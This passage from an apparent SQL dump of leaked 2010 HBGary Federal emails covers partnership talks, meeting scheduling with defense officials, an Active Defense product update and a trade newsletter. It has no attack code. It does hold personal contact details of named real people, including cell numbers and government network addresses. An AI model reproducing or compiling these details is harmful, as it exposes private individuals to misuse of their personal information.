wishes,Arnav\r\n\r\n\r\n\r\nOn 2010-05-04, at 4:25 PM, Aaron Barr wrote:\r\nArnav,I had a good talk with Rafal last week and we agreed to try and set up a capabilities demo within a week or so followed by a in-person discussion when he comes to DC in a few weeks. &nbsp;How does this Thursday or Friday work for a webex cross capabilities demo?\r\nAaron BarrCEOHBGary FederalOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:\r\nDear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.\r\nWe would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1A 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail: a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: April 9, 2010 3:40:07 PM EDTTo: N.villeneuve@secdev.ca\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;Subject: NDA and Collaboration\r\nNart,It was very nice talking with you at the Palantir conference. &nbsp;I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\nHow often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',13001,'aaron_hbgary_com/13001.html'),(6019,'2010-05-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004360.M526745P14101Q874.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Status Update','What is Greg talking about?Begin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nDate: May 5, 2010 3:06:54 PM MDTTo: all@hbgary.comSubject: Status Update\r\n \r\nTeam,\r\n \r\nThanks for managing the chaos from your end.  The Senate is very interested in all of our products, end to end.  They even said &quot;you guys rock&quot; at one point near the end of the meeting.  The House got off to a rough start as you all know, but thanks to our team effort (and alot of patience on the customer side) we got it back on track.  We successfully installed an active defense agent on their test network using BigFix and we were able to initiate a scan.  Tomorrow is another day of great meetings and exposure - including the Office of the President!  My portable demo is rock solid and delivers a sweet end-to-end story - tomorrow will be a good day.  All the hard work we put into the first AD server build in the conference room paid off - we were able to scan three locations totalling over 400 nodes, identify many malware infections, and more importantly determine that most of their network was clean.  As of last night, we have an 1800 node push and our customer has not recieved any helpdesk calls :-)  Active Defense rocks, our customers see what we are doing and they tell us as much.  Thank you everyone for all your hard work.  We are going to have an amazing year.\r\n\r\n\r\n \r\n-Greg Hoglund\r\nCEO, HBGary, Inc.  \r\n \r\n\r\n',13111,'aaron_hbgary_com/13111.html'),(6020,'2010-05-06','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004360.M765535P14101Q875.eml','\"Aaron Barr\" <aaron@hbgary.com>','DAC website','\r\n\r\n\r\n\r\n\r\nDAC website\r\n\r\n\r\n\r\n\r\nHere&#8217;s the URL: https://cto.acqcenter.com/osd/portal.nsf/InfoDAC?ReadForm.&nbsp; I will follow up with more info.\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nDirector, Cyber Programs\r\n\r\nSpecial Capabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:&nbsp; (703) 746-1226\r\n\r\nCell:&nbsp; (202) 556-0591\r\n\r\n\r\n\r\n\r\n\r\n\r\n',906,'aaron_hbgary_com/906.html'),(6021,'2010-05-06','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004361.M118182P14101Q876.eml','\"Aaron Barr\" <aaron@hbgary.com>','Schedule','\r\n\r\n\r\n\r\n\r\nSchedule\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nGot any time on Friday to come visit and talk about teaming?&nbsp; Today is a wash.\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',4059,'aaron_hbgary_com/4059.html'),(6022,'2010-05-06','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004361.M492230P14101Q877.eml','\"Ray Owen\" <ray.owen@farallon-research.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ray Owen\" <ray.owen@farallon-research.com>,\"Aaron Barr\" <aaron@hbgary.com>','Virtual Introduction','\r\n\r\n\r\n\r\n\r\nVirtual Introduction\r\n\r\n\r\n\r\n\r\nRay,\r\n\r\nI&#8217;d like to introduce you to Aaron Barr.&nbsp; Aaron spent some time working in the IC before moving to NG.&nbsp; He has been thinking about the same problem that the &#8220;cyber accelerator&#8221; is meant to solve.&nbsp; In fact, his way of thinking is extremely similar to yours.&nbsp; Aaron&#8217;s has some very interesting ideas that could dovetail nicely with both the accelerator and the CID demos.&nbsp; The two of you have to get together and chat.&nbsp; Can I set something up the week of the 17th?\r\n\r\nRegards,\r\n\r\nIrv \r\n\r\nIrving Lachow, Ph.D.\r\n\r\nDirector, Cyber Programs\r\n\r\nSpecial Capabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:&nbsp; (703) 746-1226\r\n\r\nCell:&nbsp; (202) 556-0591\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7507,'aaron_hbgary_com/7507.html'),(6023,'2010-05-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004361.M732671P14101Q878.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: DAC website','Sent from my iPadBegin forwarded message:From: &quot;Lachow, Irving Mr OSD ATL&quot; &lt;Irving.Lachow@osd.mil&gt;\r\nDate: May 6, 2010 10:38:43 AM EDTTo: &#39;Aaron Barr&#39; &lt;aaron@hbgary.com&gt;Subject: DAC website\r\n\r\n\r\n\r\n\r\nHere’s the URL: https://cto.acqcenter.com/osd/portal.nsf/InfoDAC?ReadForm.  I will follow up with more info.\r\n\r\n\r\nIrving Lachow, Ph.D.\r\n\r\n\r\nDirector, Cyber Programs\r\n\r\nSpecial Capabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:  (703) 746-1226\r\n\r\nCell:  (202) 556-0591\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4437,'aaron_hbgary_com/4437.html'),(6024,'2010-05-06','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297004361.M996064P14101Q879.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Scott\" <scott@hbgary.com>','[Fwd: resume]','\r\nThis is a friend of mine who is interested in seeing what opportunities\r\nwe can offer.  He is currently employed at Lawrence Livermore National\r\nLabs doing high performance parallel computing on their super\r\ncomputers.  He has a background in computer security and a TS/SCI.  He\r\ncurrently lives in San Ramon, CA and wants to remain in that area.\r\n\r\n- Martin\r\n',2397,'aaron_hbgary_com/2397.html'),(6025,'2010-05-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004362.M502357P14101Q880.eml','\"Steve Winterfeld\" <steven.winterfeld@tasc.com>','Marks number','The one I have is old I guess doesn\'t work.\r\nAaron\r\n\r\nSent from my iPad\r\n',4230,'aaron_hbgary_com/4230.html'),(6026,'2010-05-06','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297004362.M728631P14101Q881.eml','aaron@hbgary.com','Re: Marks number','\r\n\r\n\r\n\r\n\r\nRe: Marks number\r\n\r\n\r\n\r\n\r\n(703) 380-2972\r\n-----------------------\r\nSent via Blackberry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Winterfeld, Steven P (TASC)\r\nSent: Thu May 06 09:52:55 2010\r\nSubject: Marks number\r\n\r\nThe one I have is old I guess doesn\'t work.\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n',12870,'aaron_hbgary_com/12870.html'),(6027,'2010-05-06','\"Ray Owen\" <ray.owen@farallon-research.com>','/aaron@hbgary.com/new/1297004363.M342955P14101Q883.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>,\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>,,','Re: Virtual Introduction','\r\n\r\n\r\n  \r\n  \r\n\r\n\r\nIrv,\r\n\r\nAaron and I are eager to meet. We\'ve been trying to get something set\r\nup for my past couple of trips, and the scheduling just didn\'t work\r\nout. The week of the 17th is great.\r\n\r\nThanks,\r\nRay\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Ray Owen\r\n\r\n  Normal\r\n\r\n  Ray Owen\r\n\r\n  2\r\n\r\n  1\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  1\r\n\r\n  11\r\n\r\n  64\r\n\r\n  1\r\n\r\n  1\r\n\r\n  74\r\n\r\n  12.00\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Clean\r\n\r\n  Clean\r\n\r\n  false\r\n\r\n  \r\n\r\n  \r\n\r\n  false\r\n\r\n  false\r\n\r\n  false\r\n\r\n  \r\n\r\n  EN-US\r\n\r\n  X-NONE\r\n\r\n  X-NONE\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n  MicrosoftInternetExplorer4\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */\r\n\r\n table.MsoNormalTable\r\n\r\n	{mso-style-name:\"Table Normal\";\r\n\r\n	mso-tstyle-rowband-size:0;\r\n\r\n	mso-tstyle-colband-size:0;\r\n\r\n	mso-style-noshow:yes;\r\n\r\n	mso-style-priority:99;\r\n\r\n	mso-style-qformat:yes;\r\n\r\n	mso-style-parent:\"\";\r\n\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n\r\n	mso-para-margin:0in;\r\n\r\n	mso-para-margin-bottom:.0001pt;\r\n\r\n	mso-pagination:widow-orphan;\r\n\r\n	font-size:10.0pt;\r\n\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n \r\n\r\nRay Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\nOn 5/6/2010 7:37 AM, Lachow, Irving Mr OSD ATL wrote:\r\n\r\n  \r\n  \r\n  Virtual Introduction\r\n\r\n  Ray,\r\n  I&#8217;d like to introduce you to Aaron Barr.&nbsp; Aaron spent some time working in the IC before moving to\r\nNG.&nbsp; He has been\r\nthinking about the\r\nsame problem that the &#8220;cyber accelerator&#8221; is meant to solve.&nbsp; In fact, his\r\nway of thinking is extremely similar to yours.&nbsp; Aaron&#8217;s has some very interesting ideas that could dovetail\r\nnicely with both the accelerator and the CID demos.&nbsp; The two of you have to get\r\ntogether and chat.&nbsp; Can I set something up the week\r\nof the 17th?\r\n  Regards,\r\n  Irv \r\n  Irving Lachow,\r\nPh.D.\r\n  Director,\r\nCyber Programs\r\n  Special\r\nCapabilities Office\r\n  NIPR:\r\nirving.lachow@osd.mil\r\n  SIPR:\r\nirving.lachow@osd.smil.mil\r\n  JWICS:\r\nirving.lachow@osdj.ic.gov\r\n  Office:&nbsp;\r\n(703) 746-1226\r\n  Cell:&nbsp;\r\n(202) 556-0591\r\n  \r\n  \r\n\r\n\r\n\r\n',7818,'aaron_hbgary_com/7818.html'),(6028,'2010-05-06','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004363.M575875P14101Q884.eml','\"Ray Owen\" <ray.owen@farallon-research.com>,\"Ray Owen\" <ray.owen@farallon-research.com>,,','RE: Virtual Introduction','Great!  Can I suggest the morning of the 19th here at the SCO?\r\n\r\n-----Original Message-----\r\nFrom: Ray Owen [mailto:ray.owen@farallon-research.com] \r\nSent: Thursday, May 06, 2010 11:26 AM\r\nTo: Lachow, Irving Mr OSD ATL\r\nCc: \'Aaron Barr\'; \'nathan.atherley@farallon-research.com\'; LachowI@ndu.edu\r\nSubject: Re: Virtual Introduction\r\n\r\nIrv,\r\n\r\nAaron and I are eager to meet. We\'ve been trying to get something set up for\r\nmy past couple of trips, and the scheduling just didn\'t work out. The week\r\nof the 17th is great.\r\n\r\nThanks,\r\nRay\r\n\r\n\r\n\r\nRay Owen|ray.owen@farallon-research.com|tel 202.596.1829|cell 650.464.5570\r\n\r\n\r\nOn 5/6/2010 7:37 AM, Lachow, Irving Mr OSD ATL wrote: \r\n\r\n	Ray,\r\n\r\n	I\'d like to introduce you to Aaron Barr.  Aaron spent some time\r\nworking in the IC before moving to NG.  He has been thinking about the same\r\nproblem that the \"cyber accelerator\" is meant to solve.  In fact, his way of\r\nthinking is extremely similar to yours.  Aaron\'s has some very interesting\r\nideas that could dovetail nicely with both the accelerator and the CID\r\ndemos.  The two of you have to get together and chat.  Can I set something\r\nup the week of the 17th?\r\n\r\n	Regards,\r\n\r\n	Irv \r\n\r\n	Irving Lachow, Ph.D.\r\n\r\n	Director, Cyber Programs\r\n\r\n	Special Capabilities Office\r\n\r\n	NIPR: irving.lachow@osd.mil\r\n\r\n	SIPR: irving.lachow@osd.smil.mil\r\n\r\n	JWICS: irving.lachow@osdj.ic.gov\r\n\r\n	Office:  (703) 746-1226\r\n\r\n	Cell:  (202) 556-0591\r\n\r\n	\r\n\r\n	\r\n\r\n',6752,'aaron_hbgary_com/6752.html'),(6029,'2010-05-06','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297004363.M79823P14101Q882.eml','aaron@hbgary.com','ExecutiveBiz\'s third annual list of Beltway Game Changers to Watch','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon\r\n Executive&nbsp;By Jim\r\n GarrettsonMay 6,\r\n 2010ExecutiveBiz\'s third annual list of Beltway Game\r\n Changers to\r\n Watch&nbsp;Martha\r\n Johnson&nbsp;\r\nRobert Stevens\r\n\r\n\r\nDan Gordon\r\n\r\n\r\n \r\nJeff Zients\r\n\r\n&nbsp;\r\nHoward Schmidt\r\n\r\n&nbsp;Bill\r\n Ballhaus&nbsp;Robin\r\n Lineberger&nbsp;Paul\r\n Cofoni&nbsp;George\r\n Pedersen&nbsp;Lt. General\r\n Keith\r\n AlexanderClick Here to Read More\r\n Arnold\r\n Punaro Retiring from SAIC, Announces Plans for Future \r\nVenturesSAIC (NYSE: SAI) has announced that Executive Vice \r\nPresident Arnold Punaro will retire on May 14.Punaro has \r\nindicated that he will seek to form a strategic consulting business, \r\nwrite a book on national security decision making and work on other \r\ngovernment-related projectsClick Here to Read\r\n MoreCompensating: Do New Funds for Federal Employees Mean Raises for GovCon?\r\n A recent study highlighted the\r\n fact that military service members are better compensated than 70% of their\r\n private-sector counterparts.&nbsp; While base pay in the military might be less\r\n than the private sector, when you consider military perks like housing and food\r\n allowances, federal tax advantages, lucrative pensions and comprehensive\r\n healthcare, the military is the hands-down winner.&nbsp; Click Here to Read\r\n MoreNew\r\n Complications for SBA RegulationsLast week, President Obama signed an executive order requiring\r\n Federal CIO Vivek Kundra and Federal CTO Aneesh Chopra to create a website to\r\n track agency progress in meeting goals for small business opportunities.&nbsp; The\r\n order also authorized the creation of a task force to increase the effectiveness\r\n of small-business set-asides.Click Here to Read\r\n MoreBetter\r\n Security Comes at a PriceThe Internet is a wonderful tool that has greatly facilitated human\r\n advancement since its inception. However, some of the greatest assets of the\r\n Internet are also its greatest flaws.Click Here to Read\r\n MoreMartha\r\n Johnson to Speak at Potomac Officers ClubGSA\'s focus in 2010 is innovation, according to Martha Johnson\'s\r\n remarks at the 2010 Government Web & New Media Conference.&nbsp; She reminded\r\n conference attendees through Skype that GSA serves every government agency,\r\n contracting the tools and expertise they need to complete their missions.&nbsp;\r\n She\'ll be speaking at the Potomac Officers Club at a luncheon event on June 2nd,\r\n click here to\r\n register.Correction: Last week, we mistakenly reported ExecutiveBiz launched\r\n GovCon Exec Magazine. Executive Mosaic launched the magazine. Our apologies for\r\n any\r\n confusion.&nbsp;&nbsp;Al Pisani Talks TASC Post\r\n DivestitureJohn\r\n O\'Neill of Attain on Building a High Performing\r\n OrganizationDon\r\n Morrison of Lockheed Martin: Contractors and Government \"Equally Affected\" By\r\n Acquisition Personnel Shortage\r\n \'It is about being part of the community where\r\n key decisions are being made,\' says Wes Bush&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n &nbsp;&nbsp;Harris, Raytheon\r\n Win Major Deals from U.S. Special Operations CommandL-3 Claims Deal\r\n from Navy, NGC Turns TwoGeneral Dynamics\r\n Picks James S. Crown to Head BoardTom Anderson,\r\n Wyle Announce Leadership AdditionsSAIC\'s Amy\r\n Alving Elected to Pall\'s Board of DirectorsMPRI Claims Pair\r\n of Army DealsGeneral Dynamics\r\n Claims Deal from NavyAlion Inks Coast\r\n Guard Support DealLockheed, Harris\r\n Sign Deals with NavyLockheed\r\n Developing Lighter \'Kinetic Energy\' ArmorOrbital, L-3 Win\r\n Deals from NavyCSSI Claims\r\n $.25B Chunk of FAA\'s NextGenVangent\'s Craig\r\n Janus on Deal to Support Pa. Higher EducationSymantec Agrees\r\n to Purchase PGP Corp and GuardianEdge TechMike Bradshaw\r\n Comments on Google\'s Partnership With IceWebRaytheon Teams\r\n with Norwegian Firm for Rocket MotorsClick Here for\r\n More GovConwireGovernment Can\'t\r\n Do It Alone says Sen. RockefellerProxy Service\r\n Opens Hole for Spies to Slip ThroughInternational\r\n Cybersecurity Event Kicks OffCyber Crime Unit\r\n for Europe?Business\r\n Software Alliance Releases Guide to Help Nations Craft Cyber\r\n PoliciesMoney Mule\r\n Recruiting Campaign Targets Legit BusinessIT Worker Gets\r\n Jail Time for TheftVerizon\'s Peter\r\n Tippett: Cybersecurity is \'headed in the right direction\'Click Here for\r\n More from The New New\r\n Internet Dell Perot\'s\r\n Richard Pineda Talks About Immingration Contract with DHSWes Bush\r\n Provides Details on Northrop\'s Move to Va.Lockheed\'s Don\r\n Morrison on Attracting Top TalentAttain\'s John\r\n O\'Neill\'s Big Plans for the FirmWave of Fiscal\r\n Results Rolls InTASC\'s Al Pisani\r\n Talks StrategyCGI\'s Donna\r\n Morea: \'Woman of the Year\'Click Here for\r\n More from GovCon Executive\r\n Blumenthal\r\n Focuses on Health IT ReformUS Must Help\r\n Pakistan Defeat Insurgency, Flournoy Tells House CommitteeCIA\'s 5-year\r\n Plan Invests in Personnel, TechnologyUS Declassifies\r\n Nuclear Stockpile Info to Promote TransparencyShared\r\n Responsibility between Government, Private Sector to Fight CyberwarMartha Johnson\r\n Requests $24.9 Million for Federal Acquisition WorkforceOMB Issues New\r\n Rules on CybersecuritySmartphones Can\r\n Boost Health IT, Says ReportOpen Government:\r\n \"Making it Real\" PanelChopra and\r\n Kundra Assess Open Gov PlansClick Here for\r\n More from ExecutiveGovFeatured VideoKeil on DHS\r\n BalanceAEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From\r\n mapping and CAD, to imagery and globes, all can be purchased at a press of a\r\n button for all your government projects. The portal features special\r\n pricing around Autodesk\'s Master Government Reseller software solutions including\r\n AutoCAD, Map 3D, Civil 3D plus many more. Google Earth and GeoEye Imagery\r\n solutions are available too.Prefer to speak to a representative\r\n directly? DLT has a team of experienced representatives to help. With over 19\r\n years of working closely with federal, state and local governments, we can help\r\n you make the best purchasing decisions.&nbsp;For Autodesk products,\r\n call 888.447.2223 or send a message to ag@dlt.com&nbsp;For Geospatial\r\n products, call 877.385.3581 or send a message to gds@dlt.com.\r\n \r\nAl Pisani Talks TASC Post\r\n DivestitureAl Pisani is the Vice President of\r\n Intelligence Operations at TASC. We had the opportunity to talk with him about\r\n TASC post divestiture, what was special about it, and why Pisani decided to be\r\n apart of it. Pisani also shared with us some of his passions outside of work and\r\n what the results of his Myers Briggs test reveal about his personality. Click Here to Read\r\n MoreJohn\r\n O\'Neill of Attain on Building a High Performing \r\nOrganizationJohn O\'Neill is the Vice Chairman and Chief Administrative\r\n Officer of Attain. We had the opportunity to discuss with O\'Neill some of the top\r\n priorities for Attain and how they are planning on bringing their new company to\r\n key industry player status. We also learned how workforce development is a high\r\n priority for O\'Neill at this time and what factors he believes can help build a\r\n high performing organization.Click Here to Read\r\n MoreDon\r\n Morrison of Lockheed Martin: Contractors and Government \r\n\"Equally Affected\" By Acquisition Personnel Shortage\r\n ExecutiveBiz recently had a chance to\r\n speak with Don Morrison, VP of Contracts at Lockheed Martin, Information Systems &\r\n Government Services.&nbsp; He told us about why fixed-price contracting isn\'t\r\n always the best solution, and spoke about the current push for in-sourcing and why\r\n the federal government and government contracting are equally affected by the\r\n shortage of \"top-level talented contracts/acquisition personnel.\"Click Here to Read\r\n More\'It is about being part of the community \r\nwhere key decisions are being made,\' says Wes BushEOne of the major factors in the\r\n decision to move Northrop Grumman\'s headquarters to the D.C. area is to be closer\r\n to where \"key decisions\" are made, according to Wes Bush, CEO and President.\r\n Click Here to Read\r\n MoreSave The\r\n DateWhat: Ernst & Young Entrepreneur Of The Year 2010 Greater\r\n Washington Awards Gala.The Ernst & Young Entrepreneur Of The Year 2010 finalists have a \r\nlot to celebrate. They\'ve built their dream companies. Expanded. \r\nInnovated. It\'s time to recognize their achievements. Join us at this \r\nyear\'s event and see who will take home top honors.Shine your shoes. Raise your glass. Get\r\n inspired.When:Thursday, June 24, 20106:00 - 9:30\r\n p.m.Where:\r\n Ritz-Carlton, Tysons Corner,\r\n VA\r\nFor more information\r\n click or call +1 703 747 0858920 \r\nClick Here \r\nto Register.\r\n A\r\n Letter from the EditorThrough our weekly emagazine and daily blog,\r\n ExecutiveBiz offers our readership an insider\'s view of news and trends shaping\r\n small, medium, and large companies within industries such as defense, technology,\r\n and health care.&nbsp; In addition to our daily blog, we\'ve launched four new\r\n media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\n Each week, we deliver in-depth profiles of industry leaders, candid Q&As, plus the\r\n latest news and trends, and value-add information to help you do your job\r\n better.&nbsp; You\'re a big part of the equation both online and off &#8212; which\r\n is why we want to hear from you. Have a story tip? Or an idea for a speaking\r\n event? Feel free to contact me direct. You can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n ExecutiveBiz, 8230 Old Courthouse\r\n RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',9411,'aaron_hbgary_com/9411.html'),(6030,'2010-05-06','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004363.M814097P14101Q885.eml','\"Aaron Barr\" <aaron@hbgary.com>','DAC not an option','\r\n\r\n\r\n\r\n\r\nDAC not an option\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nAll of the DAC funds are committed for this year.&nbsp; If we want to do something in FY10, we&#8217;ll need to find someone who is willing to support this themselves (maybe with end-of-year funds).&nbsp; Maybe you can work with your buddies at Palantir to scope out who would be willing to fund such a pilot.\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nDirector, Cyber Programs\r\n\r\nSpecial Capabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:&nbsp; (703) 746-1226\r\n\r\nCell:&nbsp; (202) 556-0591\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1266,'aaron_hbgary_com/1266.html'),(6031,'2010-05-06','\"Ray Owen\" <ray.owen@farallon-research.com>','/aaron@hbgary.com/new/1297004364.M126673P14101Q886.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>,\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>,,','Re: Virtual Introduction','\r\n\r\n\r\n  \r\n\r\n\r\nWorks for me. Thanks, Ray\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Ray Owen\r\n\r\n  Normal\r\n\r\n  Ray Owen\r\n\r\n  2\r\n\r\n  1\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  1\r\n\r\n  11\r\n\r\n  64\r\n\r\n  1\r\n\r\n  1\r\n\r\n  74\r\n\r\n  12.00\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n  Clean\r\n\r\n  Clean\r\n\r\n  false\r\n\r\n  \r\n\r\n  \r\n\r\n  false\r\n\r\n  false\r\n\r\n  false\r\n\r\n  \r\n\r\n  EN-US\r\n\r\n  X-NONE\r\n\r\n  X-NONE\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n  MicrosoftInternetExplorer4\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   